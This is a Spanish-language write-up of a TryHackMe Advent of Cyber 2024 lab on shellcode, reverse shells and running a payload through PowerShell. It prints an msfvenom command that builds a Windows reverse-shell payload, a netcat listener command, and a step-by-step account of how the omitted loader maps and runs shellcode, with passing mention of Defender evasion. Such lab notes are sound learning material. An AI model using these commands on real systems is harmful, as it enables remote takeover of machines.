Ciberseguridad
Advent of Cyber día 8
Prácticas / TryHackMe
El shellcode depende de arquitectura, formato y forma de ejecución. Aquí seguimos el escenario del laboratorio; que una carga funcione ahí no la convierte en una receta universal.
Contexto histórico: recorrido de Advent of Cyber 2024. Las capturas y respuestas corresponden al ejercicio original.
Objetivos:
- Fundamentos de shellcode
- Generar shellcodes para hacer reverse shells
- Ejecutar shellcode con powershell Herramientas:
- PowerShell
- Programación
- Msfvenom
Shellcode
Lo primero es entender algunos conceptos, ya que shellcode es un concepto un poco más avanzado.
Shellcode suele referirse a instrucciones máquina preparadas para ejecutarse dentro de un proceso, usadas también en laboratorios y pruebas, por ejemplo durante exploits, como lo ataques de buffer overflow donde se inyectan comandos a un sistema vulnerable, lo que lleva a la ejecución arbitraria de comandos o darle el control de una máquina. Usualmente se escribe en Assembly y se entrega a través de diversas técnicas según la vulnerabilidad.
Powershell es un lenguaje de scripting y CLI en Windows para automatizar y manejar configuraciones. Le permite a un usuario interactuar con los componentes del sistema y es ampliamente usado por administradores. Sin embargo se suele usar por atacantes como una herramienta post-explotación porque tiene acceso profundo a los recursos del sistema y puede correr scripts directamente en memoria, evadiendo algunos mecanismos de detección.
Windows defender es una utilidad de seguridad de Windows que previene el lanzamiento de scripts maliciosos escaneando el código mientras corre. Las formas de evadirlo comunes incluyen la ofuscación de scripts y la inyección reflectiva, donde el código se carga en memoria.
Windows API le permite a los programas interactuar con el sistema operativo, dándoles acceso a recursos como la memoria y las redes. Es el puente entre la aplicación y el SO para manejar la memoria. Algunas funciones comunes que usan los atacantes son VirtualAlloc, CreateThread, WaitForSingleObject.
Acceder a WAPIa través de la reflección de powershell es una técnica avanzada que usa interacción dinámica. Permite al atacante llamar funciones de WAPI diréctamente cuando se ejecutan, esto permite manipular procesos de bajo nivel.
Reverse Shell es un tipo de conexión en la que el objetivo inicia la conexión hacia tu máquina.
msfvenom
Para crear el reverse shell, utilizaremos una herramienta llamada msfvenom.
Ejecutamos el siguiente comando en la termina:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IPLOCAL LPORT=1111 -f powershell

-p windows/x64/shell_reverse_tcp:-pespecifica que queremos un reverse shell para una máquina windows
LHOST=IPLOCAL:- Le indica a qué IP se debe conectar de vuelta
LPORT=1111:- El puerto que estará escuchando en tu máquina para el reverse shell. Debe ser un puerto válido, disponible y alcanzable, y coincidir con el listener. No cualquier puerto funciona bajo cualquier política de red.
-f powershell:- formato de salida.
hexadecimal- la instrucción
Ahora para que esto funcione simplemente simularemos que logramos acceder a una máquina y vamos a ejecutar el código. Se nos provee de un código en C# porque siendo sincero, esto es un poco complejo para un novato como yo.
Shellcode
Aquí iba el código provisto por TryHackMe pero windows defender no me deja hacerlo

A grandes rasgos el código hacía lo siguiente:
-
Define clases a través del atributo
DllImportpara cargar funciones específicas del kernel32VirtualAlloc: atribuye memoria en el espacio del proceso, básicamente reserva espacioCreateThread: crea un nuevo hilo en el proceso. Ejecutará el shellcode de la memoriaWaitForSingleObject: espera a que el objeto quede señalado o venza el timeout. Esperar no garantiza que la tarea ejecutada haya tenido éxito.
-
Se agregan estas clases a powershell usando
Add-Type. -
Luego, lo asigna en una variable, un byte array. Aquí reemplazamos con el hexadecimal que obtuvimos de msfvenom.
-
VirtualAllocasigna un bloque de memoria donde se va a guardar el shellcode:0para la dirección en memoria, osea que windows decide dónde será$size: para el tamaño, determinado por el largo del shellcode0x3000: combinaMEM_RESERVE(0x2000) yMEM_COMMIT(0x1000), reserva y confirma páginas0x40:PAGE_EXECUTE_READWRITE, permite lectura, escritura y ejecución. No es solo lectura/ejecución.
-
Marshal.Copycopia el shellcode del array a la memoria. -
Luego de que se guardó en memoria, se llama
CreateThread.
Ahora, en nuestro kali ejecutamos el comando nc -nvlp 1111 para crear un puerto de escucha y esperar una conexión.
En la máquina víctima, corremos todo el código C# que mencionamos y en nuestra máquina de ataque aparece el siguiente mensaje

Bandera
Para obtenerla, debemos realizar el mismo proceso pero conectarnos al puerto 4444, por lo tanto ejecutamos un nuevo msfvenom pero cambiando el puerto, ejecutamos el reverse shell, esperamos un rato y la bandera aparecerá.
Hemos completado el día 8

Ahora toca el día Advent of Cyber día 9.
Fuentes: Microsoft, VirtualAlloc, protección de memoria y WaitForSingleObject. El código del loader no está incluido en este apunte.
+----------------------------------------+
| Floure & |
| Tachibana's guild |
| [Hikari · Nozomi · Vesper] |
| SEAL: sha256/12: bbecc4464f66 |
| STATUS: LITURGY_IN_PROGRESS |
+----------------------------------------+